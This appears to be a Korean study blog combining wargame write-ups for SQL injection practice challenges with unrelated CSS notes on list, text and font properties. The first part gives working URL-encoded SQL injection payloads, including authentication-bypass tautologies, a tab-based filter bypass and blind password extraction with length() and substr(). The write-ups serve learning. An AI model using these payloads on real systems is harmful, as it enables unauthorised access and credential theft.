YesYes

?pw='%20||%201=1%20limit%201,1%23

?pw=' || 1=1 limit 1,1#

or 대신 || 를 썻다는 점이 가장 ㅇ중요.

?pw='%09or%091=1%09limit%091,1%23

?pw=' or 1=1 limit 1,1#

select id from prob_wolfman where id ='guest' and pw='' or 1=1 limit 1,1#'

(id='guest' && pw='') || (1=1) -> limit1,1

무조건 되게 해놓고 limit 1,1로 가져온다.

핵심은 %09 -> tab을 쓰는것.

?pw=%27%20or%20length(pw)=%278

?pw=' or length(pw)='8

이렇게 치면 8글자인 것을 알아낼 수 있다.

그리고

?pw=1%27or%20id=%27admin%27%20and%20substr(pw,1,1)=%270

?pw=1'or id='admin' and substr(pw1,1)='0

입력하면

이런식으로나온다.

substr(pw,1,1)='0'은 pw의 첫번째글자가 0인지 판단해주는것이다.

0이면 Hello admin이런식으로 뜬다.

(id=admin && pw=1) || (id=admin && substr(pw,1,1)==0 )

이렇게 써야하는 이유는 pw로 시작을 안하면 일단 입력이 안된다.

or부터 시작해봤는데 아예 입력이 안된다.

따라서 앞에것은 그냥 넘기는 용도고 뒤에가 맞으면 아래의 코드들이 실행되게끔 하는 것 같다.

?no=1%20or%201=1%20limit%201,1

?no=1 or 1=1 limit 1,1

아 이게 되는 이유가 select id from prob_goblin으로

limit 1,1을 하면 id 쪽의 1,1 값을 가져오는가보다!!

id=admin을 무조건 해야한다고 생각했는데 그게 아니었다.

?id='%20or%201=1%20limit%201,1%23

이렇게 쓰니까 풀렸다.

앞문제 처럼 or 1=1까지 해놓고 limit 1,1을 썻는데

뒤에 limit 1,1은 무슨 의미가 있는걸까

일단 limit 1,1은 결과갯수 제한하기.

음 실험해보니

id='' or 1=1 limit 1,1

이것은 prob_cobolt 테이블에서 1,1에 있는 값을 가져온다.

0,1에는 rubiya님이 계시다.

admin보다 위에계신 rubiya님은 그저 갓...

id에 아무것도 넣지 않고 limit로 admin을 가져온다는 것이다.

아 이유는 id에 뭔가가 존재한다면 else if 문으로 돌아간다. 그래서 따로 limit를 이용해 해준 것이었따.

?id=' or 1=1 limit 1,1#

이렇게인데

매우 복잡해보였다 ㅠㅠㅠㅠ 웹 처음하는데 이게 뭐냐고 ㅠㅠ

if($result['id']) solve("gremlin"); 조건문을 통과하면 된다.

id와 pw을 GET방식으로 가져온다.

GET방식은 뒤에 ?한다음 ?id=1&pw=1 하면 id와 pw인자가 넘어간다.

답은 맨 뒤에

?id='%20or%201=1%23 을 입력하면 된다.

해석해보면

인터넷 주소에는 원래 띄어쓰기가 들어갈수 없다고한다.

그래서 %20, %23같은 것을 사용한다.

%20으로 띄어쓰기를 해준것이다.

%23은 #이다.

위의 입력한것을 번역하면

?id=' or 1=1# 

이렇게 된다.

이렇게 되면

id는 id='' 이렇게 바로 닫기고 or 1=1을 거쳐서 항상 id가 참이되고 

#으로 인해 뒤에 and pw='' 가 사라진다.

이렇게해서 id는 항상 참, 나머지 and pw를 없애버린다.

목록 스타일

1. list-style-type속성 : 목록의 불릿과 번호 스타일 지정하기

- 기본형 : list-style-type : none | <순서 없는 목록의 불릿> | <순서 목록의 번호>

- 불릿 모양 : disc(채운 원), circle(빈 원), square(채운 사각형), none(불릿 없애기)

- 순서 목록에서 숫자 바꾸기

- 속성값(1) decimal : 1로 시작하는 십진수 – 1,2,3,.....

- 속성값(2) decimal-leading-zero : 앞에 0이 붙는 십진수 – 01,02,03 ....

- 속성값(3) lower-roman : 소문자 로마 숫자

- 속성값(4) upper-roman : 대문자 로마 숫자

- 속성값(5) lower-alpha 또는 lower-latin : 소문자 알파벳

- 속성값(6) upper-alpha 또는 upper-latin : 대문자 알파벳

- 속성값(7) armenian : 아르메니아 숫자

- 속성값(8) georgian : 조지 왕조 시대의 숫자 – an, ban, gan ...

2. list-style-image 속성 : 불릿 대신 이미지 넣기

기본형 : list-style-image : <이미지>(url[이미지파일경로]) | none

ex. { list-style-image:url(‘images/dot.png’); }

3. list-style-position 속성 : 목록에 들여 쓰기 효과 내기

속성값(1) inside : 불릿이나 숫자를 안쪽으로 들여 쓴다.

속성값(2) outside : 기본 값으로 불릿이나 숫자를 밖으로 내어 쓴다.

4. list-style 속성 : 목록 속성 한꺼번에 표시하기

ex. { list-style: lower-alpha, inside; }

문단 스타일

1. direction 속성 : 글자 쓰기 방향 지정하기

기본형 ; direction : ltr | rtl

속성값(1) ltr : 왼쪽에서 오른쪽으로(left to right) 텍스트를 표시.

속성값(2) rtl : 오른쪽에서 왼쪽으로(right to left) 텍스트를 표시.

2. text-align속성 : 텍스트 정렬하기

속성값(1) start : 현재 텍스트 줄의 시작 위치에 맞추어 문단을 정렬한다. ltf언어라면 왼쪽으로, rtl 언어라면 오른쪽으로 맞추어 정렬한다.

속성값(2) end : 현재 텍스트 줄의 끝 위치에 맞추어 문단을 정렬한다. ltf언어라면 오른쪽으로, rtl 언어라면 왼쪽으로 맞추어 정렬한다.

속성값(3) left : 왼쪽에 맞추어 문단을 정렬

속성값(4) right : 오른쪽에 맞추어 문단을 정렬

속성값(5) center : 가운데에 맞추어 문단을 정렬

속성값(6) justify : 양쪽에 맞추어 문단을 정렬

속성값(7) match-parent : 부모 요소를 따라 문단을 정렬함. 다만, 부모 요소의 속성 값이 start나 end일 경우, 부모 요소가 ltf인지, rtf인지에 따라 left나 right 값으로 계산해 적용한다.

3. text-justify 속성 : 정렬 시 공백 조절하기

text-align속성이 justify일 경우, 양쪽 끝에 맞추기 때문에 글자와 단어 사이 간격이 어색하게 벌어질 수 있는데 이를 조절하기 위해 사용

속성값(1) auto : 웹 브라우저에서 자동으로 지정

속성값(2) none : 정렬하지 않음

속성값(3) inter-word : 단어 사이의 공백을 조절해 정렬

속성값(4) distribute : 인접한 글자 사이의 공백을 똑같이 맞추어 정렬.

4. text-indent 속성 : 텍스트 들여쓰기

기본형 : text-indent : <크기> | <백분율>

속성값(1) 크기 : 단위와 함께 들여 쓸 크기를 지정. 음수 값도 사용 가능.

속성값(2) 백분율 : 부모 요소의 너비를 기준으로 상대적 크기를 지정.

5. text-height 속성 : 줄 간격 조절하기

기본형 : line-height : normal | <숫자> | <크기> | <백분율> | inherit

줄 간격이 2.0이고 글자 크기 12px면 줄 간격은 24px로 설정됨.

6. text-overflow 속성 : 넘치는 텍스트 표시하기

text-overflow 속성은 해당 요소에서 overflow 속성값이 hidden이거나 scroll, auto이면서 white-space:nowrap속성을 함께 사용했을 경우에만 적용.

속성값(1) clip : 넘치는 텍스트를 자름

속성값(2) ellipsis : 말 줄임표로 잘린 텍스트가 있다고 표시.

텍스트 스타일

1. color 속성 : 글자색 지정

ex. color:rgb(0,200,0);

ex. color:blue;

ex. color:#ff0000;

2. text-decoration 속성 : 텍스트에 줄 표시하기/없애기

속성값(1) none : 밑줄을 표시하지 않는다.

속성값(2) underline : 밑줄을 표시

속성값(3) overline : 영역 위로 선을 그림

속성값(4) line-through : 영역을 가로지르는 선(취소 선)을 그린다.

ex. { text-decoration:line-through; }

3. text-transform 속성 : 텍스트 대,소문자 변환하기

속성값(1) none : 변환하지 않음

속성값(2) capitalize : 시작하는 첫 번째 글자를 대문자로 변환

속성값(3) uppercase : 모든 글자를 대문자로 변환

속성값(4) lowercase : 모든 글자를 소문자로 변환

속성값(5) full-width : 가능한 모든 문자를 전각 문자로 변환

‘전각 문자’ : 고정 폭 영문자 너비의 두 배 정도 너비의 문자이며 전각 문자 너비의 절반 정도 너비인 문자를 ‘반각 문자’라고 부름.

ex. { text-transform:uppercase; }

4. text-shadow 속성 : 텍스트에 그림자 효과 추가하기

text-shadow : none | <가로거리> <세로거리> <번짐정도> <색상>

속성값(1) 가로 거리 : 텍스트부터 그림자까지의 가로 거리를 입력. 양수 값은 글자 오른쪽, 음수 값은 글자 왼쪽에 그림자를 만듬 (필수 속성)

속성값(2) 세로 거리 : 텍스트로부터 그림지까지의 세로 거리를 입력. 양수 값은 글자 아래쪽, 음수 값은 글자 위쪽에 그림자를 만듬. (필수 속성)

속성값(3) 번짐 정도 : 양수 값을 사용하면 그림자가 모든 방향으로 퍼져 나가기 때문에 그림자가 크게 표시. 반대로 음수 값은 그림자가 모든 방향으로 축소되어 보임. 기본값은 0

속성값(4) 색상 : 한 가지만 지정할 수 있고 공백으로 구분해 여러 색상을 지정할 수도 있음. 기본 값은 현재 글자 색

ex. color:orange; text-shadow:1px 1px;

ex. text-shadow: 5px 5px 3px #f00;

ex. text-shadow: 7px –7px 5px #000;

여러 개의 텍스트 그림자를 사용하는것도 가능하다. 콤마를 이용해서.

ex. text-shadow : 0 0 4px #ccc, 0 –5px 4px #ffc, .......

5. white-space 속성 : 공백 처리하기

텍스트와 함께 연속해 입력된 여러 개의 공백을 어떻게 처리할지 지정.

속성값(1) normal : 여러 개의 공백을 하나로 표시.

속성값(2) nowrap : 여러 개의 공백을 하나로 표시하고 영역 너비를 넘어가는 내용은 줄을 바꾸지 않고 계속 한 줄로 표시

속성값(3) pre : 여러 개의 공백을 그대로 표시하고 영역 너비를 넘어가는 내용은 줄을 바꾸지 않고 계속 한 줄로 표시

속성(4) pre-line : 여러 개의 공백을 하나로 표시하고 영역 너비를 넘어가는 내용은 줄을 바꿔 표시

속성(5) pre-wrap : 여러 개의 공백을 그대로 표시하고 영역 너비를 넘어가는 내용은 자동으로 줄을 바꿔 표시

6. letter-spacing과 word-spacing 속성 : 텍스트 간격 조절하기

letter-spacing : 낱 글자 사이 간격을 조정 (자간)

word-spacing : 단어와 단어 사이 조절

ex. { letter-spacing: 0.2em; }

글꼴 관련 스타일

1. font-family 속성 : 글꼴 지정하기

ex. body { font-family:“맑은 고딕”, 돋움, 굴림 }

글꼴이 설치되어 있지 않은 경우를 대비해 여러개를 써둠. 하나만 써도 무관.

윈도우 영문 기본 글꼴 : sans-serif체, serif체 등

윈도우 한글 기본 글꼴 : 굴림, 궁서, 돋움, 바탕(체) 등

font-family속성은 상속되기 때문에 <body>태그 스타일에서 한 번 정의하면 문서 전체에 적용된다. 다른 글꼴을 사용하고 싶다면 태그 스타일이나 클래스 스타일을 이용해 해당 요소에서 다른 글꼴을 정의 하면 됨.

2. @font-face 속성 – 웹 폰트 사용하기

웹 폰트 : 웹 문서를 작성할 때 웹 문서 안에 글꼴 정보도 함께 저장했다가 사용자가 웹 문서에 접속하면 글꼴을 사용자 시스템으로 다운로드시키는 방식.

기본형 : @font-face { font-family:글꼴이름, src:url(글꼴파일 경로) format(파일 유형); }

eot파일에서는 포맷을 따로 쓰지 않는다.

3. font-size속성 : 글자 크기 조정하기

- 속성값 (1) 절대크기 : 브라우저에서 저장한 글자 크기. xx-small | x-small | small | medium | large | x-large | xx-large 가능.

속성값 (2) 상대크기 : 부모 요소의 글자 크기를 기준으로 더 크게 표시하거나 더 작게 표시한다. larger | smaller 가능.

속성값 (3) 크기 : 브라우저와 상관 없이 직접 지정.

속성값 (4) 백분율 : 부모 요소의 글자 크기를 기준으로 해당하는 %를 계산해 표시.

단위 (1) : em : 해당 글꼴의 대문자 M의 너비를 기준으로 크기를 조절

단위 (2) : ex : x-height. 해당 글꼴의 소문자 x의 높이를 기준으로 크기르리 조절

단위 (3) : px : 픽셀. 모니터에 따라 상대적으로 크기가 변함

단위 (4) : pt : 포인트. 일반 문서에서 많이 사용하는 단위.

1em = 16px

4. font-weight 속성 : 글자 굵기 지정

속성 값 (1) normal : 일반적인 기본 형태

속성 값 (2) bold | lighter | bolder : 굵게 | 원래 굵기보다 더 가늘게 | 우너래 굵기보다 더 굵게 나타낸다.

속성 값 (3) 100~900 : 400은 normal, 700은 bold에 해당하며 숫자 값을 조절해 좀 더 세밀히 글꼴 두께를 조절할 수 있다.

5. font-variant 속성 : 작은 대문자로 표시하기

대문자를 소문자 크기에 맞추어 작게 표시한 것.

속성 값 (1) normal : 일반적인 형태

속성 값 (2) small-caps : 작은 대문자로 표시.

font-variant-caps : 글자의 대문자 형태를 지정.

6. font-style 속성 : 글자 스타일 지정하기

기본형 : font-style : normal | italic | oblique

속성값 (1) normal : 기본형

속성값 (2) italic : 이탤릭체 (기울어진 글꼴이 처음부터 디자인 됨)

속성값 (3) oblique : 이탤릭체 (원래 글꼴을 단지 기울인 것 뿐)

ex. { font-style:italic }

7. font 속성 : 글꼴 속성을 한꺼번에 묶어 표현하기

ex . { font : italic 12px/24px(size/height) 돋움; }

8. 특정 키워드를 입력해 그것에 어울리는 글꼴 스타일로 표현해주는 기능

ex. <p style=“font:caption”> : 캡션에 어울리는 글꼴 스타일

ex. <p style=“font:icon”> : 아이콘에 어울리는 글꼴 스타일

ex. <p style=“font:menu”> : 드롭다운 메뉴에 어울리는 글꼴 스타일

ex. <p style=“font:message-box”> : 대화상자에 어울리는 글꼴 스타일

ex. <p style=“font:small-caption”> : 작은 캡션에 어울리는 글꼴 스타일

ex. <p style=“font:status-bar”> : 상태 표시줄에 어울리는 글꼴 스타일